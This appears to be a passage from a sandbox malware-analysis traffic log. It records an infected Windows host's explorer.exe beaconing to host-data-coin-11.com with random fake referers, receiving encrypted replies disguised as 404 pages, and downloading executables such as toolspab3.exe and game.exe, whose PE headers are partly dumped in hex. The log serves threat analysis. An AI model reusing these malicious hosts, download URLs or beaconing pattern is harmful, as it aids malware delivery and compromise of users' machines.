Dec 28, 2021 05:18:44.239408016 CET	1184	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://oqydrde.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 337 Host: host-data-coin-11.com
Dec 28, 2021 05:18:44.364546061 CET	1185	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:44 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 33 37 0d 0a 02 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e d6 1e 52 25 40 a3 f5 c2 ea fb 5f f5 4d 8b 2d e4 04 08 c7 5c a5 ba 7a ae 2e 54 0a e3 f0 d8 4b fc 05 d4 43 0d 0a 30 0d 0a 0d 0a Data Ascii: 37I:82OR%@_M-\z.TKC0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.3	49775	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:51.412790060 CET	1736	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://tkeghqsng.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 156 Host: host-data-coin-11.com
Dec 28, 2021 05:18:51.522005081 CET	1749	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:51 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d1 95 4f 11 6a 11 e9 b2 83 bd a6 02 e9 1a d1 70 ae 59 4a d9 52 a6 be 67 e3 25 58 51 b8 f6 cb 41 e1 0e 88 16 95 e1 63 da 7d b3 ef d2 01 79 e5 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OOjpYJRg%XQAc}yc0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.3	49776	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:51.907418013 CET	1940	OUT	GET /downloads/toolspab3.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: privacytools-foryou-777.com
Dec 28, 2021 05:18:52.004533052 CET	1942	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:51 GMT Content-Type: application/x-msdos-program Content-Length: 339456 Connection: close Last-Modified: Tue, 28 Dec 2021 04:18:01 GMT ETag: "52e00-5d42d1b67929d" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 04 b7 bc 92 40 d6 d2 c1 40 d6 d2 c1 40 d6 d2 c1 2f a0 4c c1 51 d6 d2 c1 2f a0 78 c1 2a d6 d2 c1 49 ae 41 c1 43 d6 d2 c1 40 d6 d3 c1 fd d6 d2 c1 2f a0 79 c1 76 d6 d2 c1 2f a0 48 c1 41 d6 d2 c1 2f a0 4f c1 41 d6 d2 c1 52 69 63 68 40 d6 d2 c1 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 1b b4 65 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ee 03 00 00 20 09 00 00 00 00 00 b0 3d 02 00 00 10 00 00 00 00 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 0d 00 00 04 00 00 93 13 06 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 cc eb 03 00 28 00 00 00 00 90 0c 00 88 62 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0d 00 24 21 00 00 70 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 a5 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 e8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 4e ed 03 00 00 10 00 00 00 ee 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 68 6f 08 00 00 00 04 00 00 8c 00 00 00 f2 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 65 6a 65 76 75 00 05 00 00 00 00 70 0c 00 00 02 00 00 00 7e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 6f 7a 69 00 00 00 93 0d 00 00 00 80 0c 00 00 0e 00 00 00 80 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 88 62 00 00 00 90 0c 00 00 64 00 00 00 8e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ee 3b 00 00 00 00 0d 00 00 3c 00 00 00 f2 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 dc ee 03 00 f8 ee 03 00 0c ef 03 00 1e ef 03 00 30 ef 03 00 46 ef 03 00 56 ef 03 00 6c ef 03 00 7c ef 03 00 98 ef 03 00 ac ef 03 00 c0 ef 03 00 d6 ef 03 00 f0 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$@@@/LQ/x*IAC@/yv/HA/OARich@PELe` =@@(b$!p@.textN `.dataho@.pejevup~@.dozi@.rsrcbd@@.reloc;<@B0FVl\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.3	49777	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:54.102786064 CET	2293	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gjygx.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 117 Host: host-data-coin-11.com
Dec 28, 2021 05:18:54.214426994 CET	2294	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:54 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.3	49778	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:54.311641932 CET	2295	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://kfxca.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 358 Host: host-data-coin-11.com
Dec 28, 2021 05:18:54.438278913 CET	2296	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:54 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49847	162.159.134.233	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.3	49779	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:54.556508064 CET	2297	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ryipue.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 117 Host: host-data-coin-11.com
Dec 28, 2021 05:18:54.677180052 CET	2298	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:54 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 65 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d4 89 4f 04 7e 02 fc a9 8d b6 e4 05 ab 0c 91 6b b9 45 4b 95 09 fd bc 67 e5 32 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 2eI:82OO~kEKg2P0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.3	49780	54.38.220.85	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:54.809417009 CET	2298	OUT	GET /install5.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: unicupload.top
Dec 28, 2021 05:18:54.827373981 CET	2299	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Tue, 28 Dec 2021 04:18:01 GMT Content-Type: text/html Content-Length: 178 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.3	49781	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:54.947427034 CET	2300	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vukwltcu.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 122 Host: host-data-coin-11.com
Dec 28, 2021 05:18:55.064685106 CET	2300	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:55 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.3	49782	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:55.168279886 CET	2301	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lnwhd.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 260 Host: host-data-coin-11.com
Dec 28, 2021 05:18:55.285271883 CET	2301	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:55 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.3	49783	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:55.645113945 CET	2302	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://whpernmmb.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 276 Host: host-data-coin-11.com
Dec 28, 2021 05:18:55.786744118 CET	2303	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:55 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 33 65 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c8 89 40 0e 65 1b e4 bf c1 b1 a2 14 a5 08 cd 2c b4 59 52 db 17 f8 ee 39 ec 3f 52 17 b2 ea 93 42 fe 02 86 1c 80 a7 70 9b 77 a7 f9 0d 0a 30 0d 0a 0d 0a Data Ascii: 3eI:82O@e,YR9?RBpw0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.3	49786	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:57.994065046 CET	2343	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rwwaasnsg.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 277 Host: host-data-coin-11.com
Dec 28, 2021 05:18:58.111469984 CET	2344	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:58 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.3	49787	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:58.205894947 CET	2345	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://weeyh.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 247 Host: host-data-coin-11.com
Dec 28, 2021 05:18:58.323771954 CET	2345	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:58 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f6 e8 24 e5 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OR&:UPJ$dP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.3	49788	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:58.765095949 CET	2346	OUT	GET /game.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: data-host-coin-8.com
Dec 28, 2021 05:18:58.861063957 CET	2347	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:58 GMT Content-Type: application/x-msdos-program Content-Length: 342528 Connection: close Last-Modified: Tue, 28 Dec 2021 04:18:02 GMT ETag: "53a00-5d42d1b68bb7d" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 04 b7 bc 92 40 d6 d2 c1 40 d6 d2 c1 40 d6 d2 c1 2f a0 4c c1 51 d6 d2 c1 2f a0 78 c1 2a d6 d2 c1 49 ae 41 c1 43 d6 d2 c1 40 d6 d3 c1 fd d6 d2 c1 2f a0 79 c1 76 d6 d2 c1 2f a0 48 c1 41 d6 d2 c1 2f a0 4f c1 41 d6 d2 c1 52 69 63 68 40 d6 d2 c1 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 c5 98 8d 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 fa 03 00 00 20 09 00 00 00 00 00 50 4a 02 00 00 10 00 00 00 10 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 0d 00 00 04 00 00 93 2b 06 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c f8 03 00 28 00 00 00 00 a0 0c 00 88 62 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 0d 00 18 21 00 00 70 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 a5 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 e8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ee f9 03 00 00 10 00 00 00 fa 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 68 6f 08 00 00 10 04 00 00 8c 00 00 00 fe 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 66 69 67 00 00 00 00 05 00 00 00 00 80 0c 00 00 02 00 00 00 8a 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 68 69 6c 6f 00 00 00 93 0d 00 00 00 90 0c 00 00 0e 00 00 00 8c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 88 62 00 00 00 a0 0c 00 00 64 00 00 00 9a 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f8 3b 00 00 00 10 0d 00 00 3c 00 00 00 fe 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7c fb 03 00 98 fb 03 00 ac fb 03 00 be fb 03 00 d0 fb 03 00 e6 fb 03 00 f6 fb 03 00 0c fc 03 00 1c fc 03 00 38 fc 03 00 4c fc 03 00 60 fc 03 00 76 fc 03 00 90 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$@@@/LQ/x*IAC@/yv/HA/OARich@PEL` PJ@P+l(b!p@.text `.dataho@.fig@.hilo@.rsrcbd@@.reloc;<@B\|8L`v

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.3	49789	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
